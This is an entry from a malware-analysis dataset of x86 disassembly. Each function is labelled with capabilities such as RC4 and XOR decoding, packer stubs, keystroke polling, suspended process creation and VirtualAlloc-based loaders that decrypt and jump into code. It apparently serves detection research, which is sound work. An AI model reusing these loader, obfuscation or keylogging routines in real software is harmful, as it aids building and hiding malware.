joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1010e0f0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x10195ee4]
xor edx, edx
cmp eax, edx
jne 0x1010e116
xor eax, eax
mov byte [eax + 0x10195de4], al
inc eax
cmp eax, 0x100
jl 0x1010e0fe
mov dword [0x10195ee4], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x10195de4
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x1010e1a7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x1010e17a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x1010e148
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x1010e1b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x1010e203
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x1010e1ea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10114bc0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10141ade
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.101154e0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x1015f234
call fcn.1013381b
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x10114c53
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.1013381b
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x10114c4c
push 0
mov ecx, eax
call fcn.1010bd30
mov dword [esi + 0xc], eax
jmp 0x10114c55
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x10114c55
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x109070b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.10907200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x109070d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x109070c2
add dl, dl
jne 0x109070e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10907134
xor eax, eax
add dl, dl
jne 0x109070ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x109071d5
add dl, dl
jne 0x109070fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10907108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10907113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1090711e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1090712a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x109070cd
mov eax, 1
add dl, dl
jne 0x10907142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1090714d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10907139
sub eax, ebx
mov ebx, 1
jne 0x10907180
mov ecx, 1
add dl, dl
jne 0x10907166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10907171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1090715d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x109070cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10907197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x109071a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1090718e
cmp eax, 0x7d00
jae 0x109071c5
cmp eax, 0x500
jb 0x109071c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x109070cd
cmp eax, 0x7f
ja 0x109071c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x109070cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x109071f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x109070cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40c4aa
Capabilities:
Check for time delay via queryperformancecounter
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_GetSystemTime
mov di, word [ebp - 0x14]
not cl
push 0x401090
push dword [section..data]
call sub.USER32.dll_LoadBitmapA
mov bx, word [0x40e004]
push 0
lea eax, [ebp - 0x18]
push eax
call sub.ole32.dll_CreateBindCtx
rol eax, cl
mov dx, word [0x40e004]
call sub.KERNEL32.DLL_GetACP
test bh, bl
je 0x40c4fd
adc eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x18]
lea eax, [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_QueryPerformanceCounter
mov dword [0x40e008], 0x77ba40
xor dword [ebp - 0x18], 1
sbb dword [ebp - 0x18], ebx
add esi, dword [section..data]
push 0x4010a4
push dword [0x40e00c]
call sub.USER32.dll_LoadCursorA
mov byte [0x40e010], 0x80
push 0
lea eax, [ebp - 0x18]
push eax
call sub.ole32.dll_CreateBindCtx
push 0x4010b8
push 0x4010c8
call sub.ole32.dll_IsEqualGUID
push 0x4010d8
push 0x4010ec
call sub.ole32.dll_IsEqualGUID
mov dword [0x40e008], 0
lea eax, [ebp - 0x18]
push eax
call sub.gdi32.dll_CreateFontIndirectA
movzx ecx, bh
mov dword [0x40e008], edx
push 0x7b
call sub.USER32.dll_GetKeyState
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x28]
push eax
call sub.KERNEL32.DLL_QueryPerformanceCounter
mov byte [ebp - 0x2c], ch
neg ecx
movzx edx, cl
mov dword [0x40e008], 1
sbb dword [0x40e008], 0x639c90
mov word [ebp - 0x30], 0xffff
sar esi, cl
mov dword [0x40e014], ebx
lea eax, [ebp - 0x18]
push eax
call sub.gdi32.dll_CreateFontIndirectA
mov dword [ebp - 0x34], edx
and ax, si
adc dword [0x40e014], 0x2c5c40
mov word [0x40e004], 0x1ec
bswap ecx
cmp esi, dword [ebp - 0x34]
je 0x40c5ef
mov word [ebp - 0x38], bx
lea eax, [ebp - 0x54]
push eax
call sub.USER32.dll_TranslateMessage
push 0x401100
call sub.msvcrt.dll_strlen
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x438cb1
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x438a14
and ecx, ecx
call fcn.00438ce5
sub ecx, ecx
and ecx, ecx
add esi, ecx
xor dword [edi], edx
inc esi
dec esi
sub esi, ecx
inc edi
sub ecx, 1
add ecx, ecx
cmp edi, eax
jne fcn.00438cb1
sub ecx, 0x55d0c09c
or ecx, ecx
ret
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x4076ba
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor edi, edi
mov dword [ebp - 0x210], ecx
lea eax, [ebp - 0x20c]
mov esi, edx
push edi
push eax
call fcn.004095e0
add esp, 0xc
lea ecx, [ebp - 0x20c]
call fcn.004072a6
lea eax, [ebp - 0x20c]
push eax
push edi
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ebx, eax
test ebx, ebx
jne 0x40774c
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_open_file_mapping_object.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x410], eax
xor eax, eax
jmp 0x407816
push 0x1e78
push edi
push edi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x4077a0
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_map_view_of_file.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [esi + 0x410], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x407745
mov eax, dword [ebp - 0x210]
test eax, eax
jne 0x4077bc
call fcn.0040d2f6
mov dword [eax], 0x16
call fcn.0040d22a
jmp 0x4077cb
push 0x1034
push edi
push eax
call fcn.00408df0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
push str.ReadSharedMemory__:
push ecx
mov edx, 0x82
mov ecx, esi
call fcn.00403b0e
lea eax, [ebp - 0x20c]
push eax
push str.succeeded._mapping_obj_name:__s
lea eax, [esi + 0x208]
push 0x104
push eax
call fcn.00406b07
and dword [esi + 0x410], 0
xor eax, eax
add esp, 0x10
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040797f
leave
ret

Function at 0x40f99a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov esi, 0x25fffffc
lea eax, [ebp - 0x354]
push eax
call fcn.0040f117
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f0cc
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
Function at 0x40f9f4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
add al, 0
add byte [eax], al
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0040f117
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f0cc
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040f117
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f0cc
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0040f107
jg 0x40fbb8
mov ebp, 0xcca5809b
cli
invalid
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.0040f117
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0040f0cc
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.0040f107
insb byte es:[edi], dx
mov esi, 0xa580613c
pushfd
stc
invalid

Function at 0x410ded
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add al, byte [eax]
add byte [ebx - 0x6fb43], al
inc dword [ebx]
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1000cd63
pop dword [ebp - 0x10]
mov eax, 0x9fb38b5
sub eax, 0xf9fa6b52
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3bec7
push 0
mov eax, 0x5fe958c1
sub eax, 0x4fe8185d
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x76fc0775
add ecx, 0x89044c33
mov edi, eax
mov ebx, 0x6f6f32be
add ebx, 0xa0925342
add ebx, dword [ebp - 0x10]
mov edx, 0xb49c68e0
sub edx, 0xd1de4319
sub dword [ebp - 4], 0xfcf46aa
mov esi, dword [ebx]
xor dword [ebp - 8], edx
xor esi, edx
xor dword [ebp - 4], edx
mov dword [edi], esi
xor dword [ebp - 8], 0x5edfd99f
add edi, 0xdf3a4118
sub edi, 0xdf3a4114
add ebx, 0x4e566155
add ebx, 0xb1a99eaf
loop 0x1000cdc2
add eax, 0x14173
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x10020978
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10020987
pop dword [ebp - 0x24]
mov eax, 0x62b2d9af
sub eax, 0x52b0d028
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3dbab
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x48403698
add ecx, 0xb7c01cb7
xor esi, esi
add esi, eax
mov edx, 0x1d4925fe
sub edx, 0xd44b9fe
add edx, dword [ebp - 0x24]
mov ebx, 0xc73c0502
add ebx, 0x7b9fd025
xor dword [ebp - 0x1c], edi
mov edi, dword [edx]
sub dword [ebp - 0x18], 0xad0d2d29
add edi, ebx
xor dword [ebp - 0x1c], ecx
mov dword [esi], edi
sub dword [ebp - 4], edi
add esi, 0xea81fb7a
sub esi, 0xea81fb76
add edx, 4
loop 0x100209e3
add eax, 0xe3153d6a
sub eax, 0xe313fd5b
mov ebx, eax
add eax, 0xc7991e2c
add eax, 0x3866e1d9
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x42285a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x422869
pop dword [ebp - 0x18]
mov eax, 0xc332968e
sub eax, 0xc2f06e25
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x51627
push 0
mov eax, 0x45d2393c
add eax, 0xba727974
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x4d1c
mov esi, eax
mov edi, 0x2586082c
sub edi, 0x253d7a2c
add edi, dword [ebp - 0x18]
mov edx, 0x1f60a74c
sub edx, 0x9c0ec669
add dword [ebp - 8], 0x3dc02bf1
mov ebx, dword [edi]
add dword [ebp - 0x10], 0x12e1363e
add ebx, edx
xor dword [ebp - 0x10], ecx
mov dword [esi], ebx
sub dword [ebp - 0x14], 0x7a12b447
add esi, 4
add edi, 4
loop 0x4228c2
add eax, 0x75c763fd
sub eax, 0x75c63cba
mov ebx, eax
add eax, 0x4bb295d2
sub eax, 0x4bb295cd
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x4ca24c
Capabilities:
Encode data using xor

Disassembly:
add esp, 4
xor ebx, ecx
xor ebx, 0x74581788
and ebx, 0x835c532
and esi, 0xf7ca3acd
or esi, ebx
mov dl, byte [eax]
add eax, 1
mov byte [esi], dl
add esi, 1
mov ecx, 0x172a54e3
mov ebx, 0xe8d5ab1c
xor ebx, ecx
add edi, ebx
cmp edi, 0
jne 0x4ca265
mov ecx, 0x1880aaed
xor ecx, 0x58a6ec93
push ecx
mov ecx, 0x2c263445
call fcn.004c9cc4
call dword [ecx]
call fcn.004c9cd8
mov esi, 0x52da3ce2
mov ebx, 0x3c4ec281
xor ebx, esi
mov esi, 0x2e95e06b
xor ebx, esi
push 0x5ebf80fd
mov edx, 0x4ad5809f
pop esi
xor edx, esi
xor ebx, edx
mov esi, ebx
add esp, 0xfffffffc
mov dword [esp], esi
mov esi, 0x825802a
mov ebx, 0x21100204
xor esi, ebx
push esi
mov ecx, 0x88044
call fcn.004c7b03

Function at 0x4cab3f
Capabilities:
Get geographical location

Disassembly:
push 0x63113ab1
mov edi, 0x63113ab1
pop edx
xor edi, edx
xor edi, ecx
mov eax, 0x62b8fc5f
xor eax, 0x8acb1559
xor edi, eax
mov ebx, 0x178c16f9
xor edi, ebx
and edi, 0xffffffff
and ecx, 0
or ecx, edi
and ecx, 0x422344b3
and esi, 0xbddcbb4c
or esi, ecx
and esi, 0xff
mov edi, esi
jmp 0x4c9aad
pop ecx
mov ebx, 0x1b594c42
mov edx, 0x23b1502c
xor edx, ebx
mov eax, 0x20280026
mov ebx, 0x18c01c48
xor eax, ebx
xor eax, edx
xor eax, ecx
mov edx, 0
xor edx, eax
mov ebx, 0
xor ebx, edx
mov esi, 0x69973199
mov edx, 0x9668ce66
xor edx, esi
jmp 0x4ca482
mov ecx, 0x4718683d
xor ecx, 0x2fa4f34f
mov esi, 0x68bc9b72
xor ecx, esi
xor ecx, edx
or ecx, ebx
je 0x4c85a8
pop esi
add esp, 0xfffffffc
mov eax, 0
mov ebx, 0
xor eax, ebx
xor eax, esp
mov edi, eax
mov dword [edi], esi
xor ebx, ebx
add ebx, esi
add esp, 0xfffffffc
mov dword [esp], ebx
pop ecx
jmp 0x4c7d11
xor ebx, edx
and ebx, 0xffffffff
and eax, 0
or eax, ebx
and eax, 0x38cea5f
and ecx, 0xfc7315a0
or ecx, eax
call ecx
push ecx
push edi
add esp, 0xc
pop ecx
mov dword [ecx], ebx
xor edi, edi
add edi, ebx
xor ecx, ecx
add ecx, edi
mov esi, 0x64fb4858
xor esi, 0x8c398e80
push esi
mov esi, 0x66c2f583
mov edx, 0x71ffcca4
xor edx, esi
pop edi
xor edx, edi
xor ecx, edx
and ecx, 0x1fcfcf5e
and ebx, 0xe03030a1
or ebx, ecx
mov edx, ebx
jmp 0x4ca409
Function at 0x1000ea6f
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10069148
call fcn.100689e8
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 0x14], 0x6660
cmp dword [ebp - 0x14], 0x69d5
push edi
mov dword [ebp - 0x10], esp
jle 0x1000eacd
xor esi, esi
xor edi, edi
xor ebx, ebx
mov eax, ebx
and eax, edi
xor eax, esi
cdq
push edx
push eax
call fcn.1000f090
inc ebx
cmp ebx, 0x5319
jl 0x1000ea97
inc edi
cmp edi, 0x1c2a
jl 0x1000ea95
inc esi
cmp esi, 0x56a0
jl 0x1000ea93
push 0
push 0x164c
